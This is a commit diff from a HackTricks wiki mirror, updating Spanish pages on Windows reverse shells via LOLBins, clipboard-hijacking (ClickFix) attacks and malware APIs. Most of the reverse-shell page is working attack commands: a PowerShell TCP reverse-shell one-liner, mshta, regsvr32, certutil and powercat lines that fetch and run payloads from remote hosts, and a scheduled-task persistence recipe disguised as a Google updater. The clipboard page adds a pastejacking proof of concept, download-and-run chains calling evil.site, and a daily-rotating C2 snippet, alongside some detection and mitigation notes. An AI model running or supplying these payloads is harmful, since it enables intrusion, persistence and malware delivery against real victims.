maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/reversing/common-api-used-in-malware.md', 'src/generic-

Browse Source
This commit is contained in:
Translator 2025-09-29 13:27:42 +00:00
parent fe5d903e7d
commit 8ba0650c0c
4 changed files with 546 additions and 374 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

111
src/generic-hacking/reverse-shells/windows.md
View File

@ -4,8 +4,8 @@
## Lolbas
La página [lolbas-project.github.io](https://lolbas-project.github.io/) es para Windows como [https://gtfobins.github.io/](https://gtfobins.github.io/) lo es para linux.\
Obviamente, **no hay archivos SUID ni privilegios de sudo en Windows**, pero es útil saber **cómo** algunos **binarios** pueden ser (mal)usados para realizar algún tipo de acciones inesperadas como **ejecutar código arbitrario.**
La página [lolbas-project.github.io](https://lolbas-project.github.io/) es para Windows como [https://gtfobins.github.io/](https://gtfobins.github.io/) es para linux.\
Obviamente, **no hay archivos SUID ni privilegios sudo en Windows**, pero es útil saber **cómo** algunos **binaries** pueden ser (ab)usados para realizar cierto tipo de acciones inesperadas como **execute arbitrary code.**
## NC
```bash
@ -27,7 +27,7 @@ ncat -l <PORT eg.443> --ssl
```
## SBD
**[sbd](https://www.kali.org/tools/sbd/) es una alternativa portátil y segura a Netcat**. Funciona en sistemas similares a Unix y Win32. Con características como cifrado fuerte, ejecución de programas, puertos de origen personalizables y reconexión continua, sbd proporciona una solución versátil para la comunicación TCP/IP. Para los usuarios de Windows, la versión sbd.exe de la distribución Kali Linux se puede utilizar como un reemplazo confiable de Netcat.
**[sbd](https://www.kali.org/tools/sbd/) es una alternativa portátil y segura a Netcat**. Funciona en sistemas tipo Unix y Win32. Con características como cifrado fuerte, ejecución de programas, puertos de origen personalizables y reconexión continua, sbd ofrece una solución versátil para la comunicación TCP/IP. Para usuarios de Windows, la versión sbd.exe de la distribución Kali Linux puede usarse como un reemplazo confiable para Netcat.
```bash
# Victims machine
sbd -l -p 4444 -e bash -v -n
@ -82,18 +82,18 @@ Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadStr
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
```
Proceso que realiza la llamada de red: **powershell.exe**\
Carga útil escrita en el disco: **NO** (_al menos en ningún lugar que pudiera encontrar usando procmon !_ )
Payload escrito en disco: **NO** (_al menos en ninguna parte que pude encontrar usando procmon !_)
```bash
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
```
Proceso que realiza la llamada de red: **svchost.exe**\
Carga útil escrita en el disco: **WebDAV client local cache**
Payload escrito en disco: **WebDAV client local cache**
**Una línea:**
**Comando de una sola línea:**
```bash
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```
**Obtén más información sobre diferentes Shells de Powershell al final de este documento**
**Obtén más información sobre diferentes Powershell Shells al final de este documento**
## Mshta
@ -109,11 +109,11 @@ mshta http://webserver/payload.hta
```bash
mshta \\webdavserver\folder\payload.hta
```
#### **Ejemplo de shell inverso hta-psh (usar hta para descargar y ejecutar puerta trasera PS)**
#### **Ejemplo de hta-psh reverse shell (usar hta para descargar y ejecutar backdoor PS)**
```xml
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
```
**Puedes descargar y ejecutar muy fácilmente un zombie Koadic usando el stager hta**
**Puedes descargar y ejecutar muy fácilmente un Koadic zombie usando el stager hta**
#### ejemplo de hta
@ -134,7 +134,7 @@ new ActiveXObject('WScript.Shell').Run(c);
```
#### **mshta - sct**
[**Desde aquí**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
[**From here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
```xml
<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
@ -161,13 +161,13 @@ msf exploit(windows/misc/hta_server) > exploit
```bash
Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit
```
**Detectado por el defensor**
**Detectado por defender**
## **Rundll32**
[**Ejemplo de dll hello world**](https://github.com/carterjones/hello-world-dll)
[**Dll hello world example**](https://github.com/carterjones/hello-world-dll)
- [Desde aquí](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash
rundll32 \\webdavserver\folder\payload.dll,entrypoint
```
@ -175,11 +175,11 @@ rundll32 \\webdavserver\folder\payload.dll,entrypoint
```bash
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
```
**Detectado por el defensor**
**Detectado por defender**
**Rundll32 - sct**
[**Desde aquí**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
[**From here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
```xml
<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
@ -211,7 +211,7 @@ rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject(
```
## Regsvr32
- [Desde aquí](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
```
@ -219,11 +219,31 @@ regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
```
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
```
**Detectado por el defensor**
**Detectado por Defender**
#### Regsvr32 -sct
#### Regsvr32 – exportación arbitraria de DLL con el argumento /i (gatekeeping & persistence)
[**Desde aquí**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
Además de cargar remote scriptlets (`scrobj.dll`), `regsvr32.exe` cargará una DLL local e invocará sus exports `DllRegisterServer`/`DllUnregisterServer`. Custom loaders frecuentemente abusan de esto para ejecutar código arbitrario mientras se mezclan con un LOLBin firmado. Dos tradecraft notes seen in the wild:
- Gatekeeping argument: la DLL sale a menos que se pase un switch específico vía `/i:<arg>`, p. ej. `/i:--type=renderer` para imitar Chromium renderer children. Esto reduce ejecuciones accidentales y frustra a los sandboxes.
- Persistence: programa `regsvr32` para ejecutar la DLL en modo silencioso y con privilegios elevados junto con el argumento `/i` requerido, haciéndose pasar por una tarea de actualización:
```powershell
Register-ScheduledTask \
-Action (New-ScheduledTaskAction -Execute "regsvr32" -Argument "/s /i:--type=renderer \"%APPDATA%\Microsoft\SystemCertificates\<name>.dll\"") \
-Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) \
-TaskName 'GoogleUpdaterTaskSystem196.6.2928.90.{FD10B0DF-...}' \
-TaskPath '\\GoogleSystem\\GoogleUpdater' \
-Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0 -DontStopOnIdleEnd) \
-RunLevel Highest
```
Ver también: ClickFix clipboard‑to‑PowerShell variant que stages un JS loader y más tarde persiste con `regsvr32`.
{{#ref}}
../../generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md
{{#endref}}
[**From here**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
```html
<?XML version="1.0"?>
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
@ -249,11 +269,11 @@ set lhost 10.2.0.5
run
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
```
**Puedes descargar y ejecutar muy fácilmente un zombie Koadic usando el stager regsvr**
**Puedes descargar y ejecutar muy fácilmente un Koadic zombie usando el stager regsvr**
## Certutil
- [Desde aquí](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
Descarga un B64dll, decodifícalo y ejecútalo.
```bash
@ -263,7 +283,7 @@ Descarga un B64exe, decodifícalo y ejecútalo.
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
```
**Detectado por el defensor**
**Detectado por defender**
## **Cscript/Wscript**
```bash
@ -273,14 +293,14 @@ powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0
```bash
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs
```
**Detectado por el defensor**
**Detectado por Defender**
## PS-Bat
```bash
\\webdavserver\folder\batchfile.bat
```
Proceso que realiza la llamada de red: **svchost.exe**\
Carga útil escrita en el disco: **WebDAV client local cache**
Payload escrito en disco: **WebDAV client local cache**
```bash
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
impacket-smbserver -smb2support kali `pwd`
@ -289,7 +309,7 @@ impacket-smbserver -smb2support kali `pwd`
```bash
\\10.8.0.3\kali\shell.bat
```
**Detectado por el defensor**
**Detectado por defender**
## **MSIExec**
@ -306,11 +326,11 @@ victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
## **Wmic**
- [Desde aquí](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash
wmic os get /format:"https://webserver/payload.xsl"
```
Ejemplo de archivo xsl [desde aquí](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):
Ejemplo de archivo xsl [from here](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):
```xml
<?xml version='1.0'?>
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
@ -324,7 +344,7 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
```
**No detectado**
**Puedes descargar y ejecutar muy fácilmente un zombi Koadic usando el stager wmic**
**Puedes descargar y ejecutar muy fácilmente un Koadic zombie usando el stager wmic**
## Msbuild
@ -332,7 +352,7 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
```
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
```
Puedes usar esta técnica para eludir la lista blanca de aplicaciones y las restricciones de Powershell.exe. Se te presentará un shell de PS.\
Puedes usar esta técnica para eludir Application Whitelisting y las restricciones de Powershell.exe. Se te abrirá un PS shell.\
Simplemente descarga esto y ejecútalo: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
@ -341,11 +361,11 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
## **CSC**
Compila código C# en la máquina víctima.
Compilar código C# en la máquina víctima.
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
```
Puedes descargar un shell inverso básico en C# desde aquí: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
Puedes descargar un reverse shell básico en C# desde aquí: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
**No detectado**
@ -375,31 +395,31 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
En la carpeta **Shells**, hay muchas shells diferentes. Para descargar y ejecutar Invoke-_PowerShellTcp.ps1_, haz una copia del script y añade al final del archivo:
En la carpeta **Shells** hay muchos shells diferentes. Para descargar y ejecutar Invoke-_PowerShellTcp.ps1_ copia el script y añádelo al final del archivo:
```
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
```
Comienza a servir el script en un servidor web y ejecútalo en el lado de la víctima:
Sirve el script desde un servidor web y ejecútalo en el equipo de la víctima:
```
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
```
Defender no lo detecta como código malicioso (aún, 3/04/2019).
Defender no lo detecta como código malicioso (todavía, 03/04/2019).
**TODO: Verificar otras shells de nishang**
**TODO: Revisar otros nishang shells**
### **PS-Powercat**
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
Descargar, iniciar un servidor web, iniciar el listener y ejecutarlo en el lado de la víctima:
Descarga, inicia un servidor web, inicia el listener y ejecútalo en la máquina de la víctima:
```
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```
Defender no lo detecta como código malicioso (aún, 3/04/2019).
Defender no lo detecta como código malicioso (todavía, 3/04/2019).
**Otras opciones ofrecidas por powercat:**
Shells bind, Reverse shell (TCP, UDP, DNS), Redirección de puertos, subir/bajar, Generar payloads, Servir archivos...
Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files...
```
Serve a cmd Shell:
powercat -l -p 443 -e cmd
@ -420,7 +440,7 @@ powercat -l -p 443 -i C:\inputfile -rep
[https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire)
Crea un lanzador de powershell, guárdalo en un archivo y descárgalo y ejecútalo.
Crea un launcher de powershell, guárdalo en un archivo y descárgalo y ejecútalo.
```
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```
@ -430,15 +450,15 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c
[https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)
Crea una versión de powershell de un backdoor de metasploit usando unicorn
Crear una versión en powershell de un backdoor de metasploit usando unicorn
```
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
```
Inicie msfconsole con el recurso creado:
Inicia msfconsole con el resource creado:
```
msfconsole -r unicorn.rc
```
Inicie un servidor web que sirva el archivo _powershell_attack.txt_ y ejecute en la víctima:
Inicia un servidor web que sirva el archivo _powershell_attack.txt_ y ejecútalo en la victim:
```
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
```
@ -446,9 +466,9 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
## Más
[PS>Attack](https://github.com/jaredhaight/PSAttack) consola PS con algunos módulos ofensivos de PS precargados (cifrados)\
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9)[\
WinPWN](https://github.com/SecureThisShit/WinPwn) consola PS con algunos módulos ofensivos de PS y detección de proxy (IEX)
[PS>Attack](https://github.com/jaredhaight/PSAttack) Consola PS con algunos módulos ofensivos de PS precargados (cifrados)\
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
WinPWN](https://github.com/SecureThisShit/WinPwn) Consola PS con algunos módulos ofensivos de PS y detección de proxy (IEX)
## Referencias
@ -459,5 +479,6 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) consola PS con algunos módulo
- [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
- [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
{{#include ../../banners/hacktricks-training.md}}

104
src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md
View File

@ -1,16 +1,16 @@
# Ataques de Secuestro de Portapapeles (Pastejacking)
# Clipboard Hijacking (Pastejacking) Ataques
{{#include ../../banners/hacktricks-training.md}}
> "Nunca pegues nada que no hayas copiado tú mismo." – un consejo antiguo pero aún válido
> "Nunca pegues nada que no hayas copiado tú mismo." – consejo antiguo pero aún válido
## Descripción General
## Resumen
El secuestro de portapapeles – también conocido como *pastejacking* – abusa del hecho de que los usuarios rutinariamente copian y pegan comandos sin inspeccionarlos. Una página web maliciosa (o cualquier contexto capaz de JavaScript, como una aplicación Electron o de escritorio) coloca programáticamente texto controlado por el atacante en el portapapeles del sistema. Las víctimas son alentadas, normalmente mediante instrucciones de ingeniería social cuidadosamente elaboradas, a presionar **Win + R** (diálogo de Ejecutar), **Win + X** (Acceso Rápido / PowerShell), o abrir un terminal y *pegar* el contenido del portapapeles, ejecutando inmediatamente comandos arbitrarios.
Clipboard hijacking – también conocido como *pastejacking* – abusa del hecho de que los usuarios suelen copiar y pegar comandos sin inspeccionarlos. Una página web maliciosa (o cualquier contexto con soporte para JavaScript, como una aplicación Electron o Desktop) coloca programáticamente texto controlado por el atacante en el portapapeles del sistema. A las víctimas se les anima, normalmente mediante instrucciones de social-engineering cuidadosamente elaboradas, a pulsar **Win + R** (diálogo Run), **Win + X** (Acceso rápido / PowerShell), o a abrir un terminal y *pegar* el contenido del portapapeles, ejecutando de inmediato comandos arbitrarios.
Debido a que **no se descarga ningún archivo y no se abre ningún adjunto**, la técnica elude la mayoría de los controles de seguridad de correo electrónico y contenido web que monitorean adjuntos, macros o ejecución directa de comandos. Por lo tanto, el ataque es popular en campañas de phishing que entregan familias de malware de uso común como NetSupport RAT, cargador Latrodectus o Lumma Stealer.
Debido a que **no se descarga ningún archivo y no se abre ningún adjunto**, la técnica evade la mayoría de los controles de seguridad de correo electrónico y de contenido web que monitorean adjuntos, macros o la ejecución directa de comandos. Por ello, el ataque es popular en campañas de phishing que distribuyen familias de malware comercial como NetSupport RAT, Latrodectus loader o Lumma Stealer.
## Prueba de Concepto en JavaScript
## Prueba de concepto en JavaScript
```html
<!-- Any user interaction (click) is enough to grant clipboard write permission in modern browsers -->
<button id="fix" onclick="copyPayload()">Fix the error</button>
@ -22,17 +22,17 @@ navigator.clipboard.writeText(payload)
}
</script>
```
Las campañas más antiguas usaban `document.execCommand('copy')`, las más nuevas dependen de la **Clipboard API** asíncrona (`navigator.clipboard.writeText`).
Las campañas más antiguas usaban `document.execCommand('copy')`, las más recientes se basan en la **Clipboard API** asíncrona (`navigator.clipboard.writeText`).
## El flujo ClickFix / ClearFake
## Flujo de ClickFix / ClearFake
1. El usuario visita un sitio con errores tipográficos o comprometido (por ejemplo, `docusign.sa[.]com`)
2. JavaScript **ClearFake** inyectado llama a un helper `unsecuredCopyToClipboard()` que almacena silenciosamente una línea de PowerShell codificada en Base64 en el portapapeles.
3. Instrucciones HTML le dicen a la víctima: *“Presione **Win + R**, pegue el comando y presione Enter para resolver el problema.”*
4. `powershell.exe` se ejecuta, descargando un archivo que contiene un ejecutable legítimo más un DLL malicioso (carga lateral clásica de DLL).
5. El cargador descifra etapas adicionales, inyecta shellcode e instala persistencia (por ejemplo, tarea programada) – ejecutando en última instancia NetSupport RAT / Latrodectus / Lumma Stealer.
1. El usuario visita un sitio typosquatted o comprometido (p. ej. `docusign.sa[.]com`)
2. El JavaScript inyectado **ClearFake** llama a un helper `unsecuredCopyToClipboard()` que guarda silenciosamente en el portapapeles un comando de PowerShell de una sola línea codificado en Base64.
3. Las instrucciones HTML indican a la víctima: *“Presione **Win + R**, pegue el comando y pulse Enter para resolver el problema.”*
4. `powershell.exe` se ejecuta, descargando un archivo que contiene un ejecutable legítimo más una DLL maliciosa (classic DLL sideloading).
5. El loader descifra etapas adicionales, inyecta shellcode e instala persistencia (p. ej. tarea programada) – finalmente ejecuta NetSupport RAT / Latrodectus / Lumma Stealer.
### Cadena de ejemplo de NetSupport RAT
### Example NetSupport RAT Chain
```powershell
powershell -nop -w hidden -enc <Base64>
# ↓ Decodes to:
@ -40,50 +40,86 @@ Invoke-WebRequest -Uri https://evil.site/f.zip -OutFile %TEMP%\f.zip ;
Expand-Archive %TEMP%\f.zip -DestinationPath %TEMP%\f ;
%TEMP%\f\jp2launcher.exe # Sideloads msvcp140.dll
```
* `jp2launcher.exe` (Java WebStart legítimo) busca en su directorio `msvcp140.dll`.
* El DLL malicioso resuelve dinámicamente las APIs con **GetProcAddress**, descarga dos binarios (`data_3.bin`, `data_4.bin`) a través de **curl.exe**, los desencripta usando una clave XOR rotativa `"https://google.com/"`, inyecta el shellcode final y descomprime **client32.exe** (NetSupport RAT) en `C:\ProgramData\SecurityCheck_v1\`.
* `jp2launcher.exe` (legítimo Java WebStart) busca en su directorio `msvcp140.dll`.
* La DLL maliciosa resuelve dinámicamente las APIs con **GetProcAddress**, descarga dos binarios (`data_3.bin`, `data_4.bin`) vía **curl.exe**, los descifra usando una clave XOR rodante `"https://google.com/"`, inyecta el shellcode final y descomprime **client32.exe** (NetSupport RAT) en `C:\ProgramData\SecurityCheck_v1\`.
### Latrodectus Loader
```
powershell -nop -enc <Base64> # Cloud Identificator: 2031
```
1. Descarga `la.txt` con **curl.exe**
2. Ejecuta el descargador JScript dentro de **cscript.exe**
3. Obtiene una carga útil MSI → deja caer `libcef.dll` además de una aplicación firmada → carga lateral de DLL → shellcode → Latrodectus.
2. Ejecuta el JScript downloader dentro de **cscript.exe**
3. Obtiene un MSI payload → coloca `libcef.dll` junto a una aplicación firmada → DLL sideloading → shellcode → Latrodectus.
### Lumma Stealer a través de MSHTA
### Lumma Stealer vía MSHTA
```
mshta https://iplogger.co/xxxx =+\\xxx
```
La llamada **mshta** lanza un script de PowerShell oculto que recupera `PartyContinued.exe`, extrae `Boat.pst` (CAB), reconstruye `AutoIt3.exe` a través de `extrac32` y concatenación de archivos y finalmente ejecuta un script `.a3x` que exfiltra credenciales del navegador a `sumeriavgv.digital`.
La llamada **mshta** lanza un script PowerShell oculto que recupera `PartyContinued.exe`, extrae `Boat.pst` (CAB), reconstruye `AutoIt3.exe` mediante `extrac32` y concatenación de archivos y finalmente ejecuta un script `.a3x` que exfiltra credenciales de navegador a `sumeriavgv.digital`.
## Detección y Caza
## ClickFix: Clipboard → PowerShell → JS eval → Startup LNK with rotating C2 (PureHVNC)
Los equipos azules pueden combinar la telemetría del portapapeles, la creación de procesos y el registro para identificar el abuso de pastejacking:
Algunas campañas de ClickFix omiten por completo las descargas de archivos e indican a las víctimas que peguen un one‑liner que descarga y ejecuta JavaScript vía WSH, lo persiste y rota el C2 diariamente. Cadena observada de ejemplo:
```powershell
powershell -c "$j=$env:TEMP+'\a.js';sc $j 'a=new
ActiveXObject(\"MSXML2.XMLHTTP\");a.open(\"GET\",\"63381ba/kcilc.ellrafdlucolc//:sptth\".split(\"\").reverse().join(\"\"),0);a.send();eval(a.responseText);';wscript $j" Prеss Entеr
```
Características clave
- URL ofuscada invertida en tiempo de ejecución para evitar una inspección casual.
- JavaScript se mantiene persistente mediante un Startup LNK (WScript/CScript) y selecciona el C2 según el día actual – habilitando una rápida domain rotation.
* Registro de Windows: `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` mantiene un historial de comandos **Win + R** – busque entradas inusuales en Base64 / ofuscadas.
* ID de Evento de Seguridad **4688** (Creación de Proceso) donde `ParentImage` == `explorer.exe` y `NewProcessName` en { `powershell.exe`, `wscript.exe`, `mshta.exe`, `curl.exe`, `cmd.exe` }.
* ID de Evento **4663** para creaciones de archivos bajo `%LocalAppData%\Microsoft\Windows\WinX\` o carpetas temporales justo antes del evento sospechoso 4688.
* Sensores de portapapeles EDR (si están presentes) – correlacionar `Clipboard Write` seguido inmediatamente por un nuevo proceso de PowerShell.
Fragmento JS mínimo usado para rotar C2s por fecha:
```js
function getURL() {
var C2_domain_list = ['stathub.quest','stategiq.quest','mktblend.monster','dsgnfwd.xyz','dndhub.xyz'];
var current_datetime = new Date().getTime();
var no_days = getDaysDiff(0, current_datetime);
return 'https://'
+ getListElement(C2_domain_list, no_days)
+ '/Y/?t=' + current_datetime
+ '&v=5&p=' + encodeURIComponent(user_name + '_' + pc_name + '_' + first_infection_datetime);
}
```
La siguiente etapa comúnmente despliega un loader que establece persistencia y descarga un RAT (p. ej., PureHVNC), a menudo fijando TLS a un certificado hardcoded y fragmentando el tráfico.
## Mitigaciones
Detection ideas specific to this variant
- Process tree: `explorer.exe` → `powershell.exe -c` → `wscript.exe <temp>\a.js` (or `cscript.exe`).
- Startup artifacts: LNK in `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup` invoking WScript/CScript with a JS path under `%TEMP%`/`%APPDATA%`.
- Registry/RunMRU and command‑line telemetry containing `.split('').reverse().join('')` or `eval(a.responseText)`.
- Repeated `powershell -NoProfile -NonInteractive -Command -` with large stdin payloads to feed long scripts without long command lines.
- Scheduled Tasks that subsequently execute LOLBins such as `regsvr32 /s /i:--type=renderer "%APPDATA%\Microsoft\SystemCertificates\<name>.dll"` under an updater‑looking task/path (e.g., `\GoogleSystem\GoogleUpdater`).
1. Dureza del navegador – deshabilitar el acceso de escritura al portapapeles (`dom.events.asyncClipboard.clipboardItem` etc.) o requerir un gesto del usuario.
2. Conciencia de seguridad – enseñar a los usuarios a *escribir* comandos sensibles o pegarlos primero en un editor de texto.
3. Modo de Lenguaje Restringido de PowerShell / Política de Ejecución + Control de Aplicaciones para bloquear líneas de comandos arbitrarias.
4. Controles de red – bloquear solicitudes salientes a dominios conocidos de pastejacking y C2 de malware.
Threat hunting
- Daily‑rotating C2 hostnames and URLs with `.../Y/?t=<epoch>&v=5&p=<encoded_user_pc_firstinfection>` pattern.
- Correlate clipboard write events followed by Win+R paste then immediate `powershell.exe` execution.
## Trucos Relacionados
* El **Secuestro de Invitaciones de Discord** a menudo abusa del mismo enfoque ClickFix después de atraer a los usuarios a un servidor malicioso:
Blue-teams can combine clipboard, process-creation and registry telemetry to pinpoint pastejacking abuse:
* Windows Registry: `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` keeps a history of **Win + R** commands – look for unusual Base64 / obfuscated entries.
* Security Event ID **4688** (Process Creation) where `ParentImage` == `explorer.exe` and `NewProcessName` in { `powershell.exe`, `wscript.exe`, `mshta.exe`, `curl.exe`, `cmd.exe` }.
* Event ID **4663** for file creations under `%LocalAppData%\Microsoft\Windows\WinX\` or temporary folders right before the suspicious 4688 event.
* EDR clipboard sensors (if present) – correlate `Clipboard Write` followed immediately by a new PowerShell process.
## Mitigations
1. Browser hardening – disable clipboard write-access (`dom.events.asyncClipboard.clipboardItem` etc.) or require user gesture.
2. Security awareness – teach users to *type* sensitive commands or paste them into a text editor first.
3. PowerShell Constrained Language Mode / Execution Policy + Application Control to block arbitrary one-liners.
4. Network controls – block outbound requests to known pastejacking and malware C2 domains.
## Related Tricks
* **Discord Invite Hijacking** often abuses the same ClickFix approach after luring users into a malicious server:
{{#ref}}
discord-invite-hijacking.md
{{#endref}}
## Referencias
## References
- [Fix the Click: Preventing the ClickFix Attack Vector](https://unit42.paloaltonetworks.com/preventing-clickfix-attack-vector/)
- [Pastejacking PoC – GitHub](https://github.com/dxa4481/Pastejacking)
- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
{{#include ../../banners/hacktricks-training.md}}

257
src/reversing/common-api-used-in-malware.md
View File

@ -1,4 +1,4 @@
# API Comunes Usados en Malware
# API comunes usadas en Malware
{{#include ../banners/hacktricks-training.md}}
@ -6,134 +6,211 @@
### Redes
| Sockets Crudos | Sockets WinAPI |
| -------------- | -------------- |
| socket() | WSAStratup() |
| bind() | bind() |
| listen() | listen() |
| accept() | accept() |
| connect() | connect() |
| read()/recv() | recv() |
| write() | send() |
| shutdown() | WSACleanup() |
| Sockets sin procesar | Sockets WinAPI |
| -------------------- | -------------- |
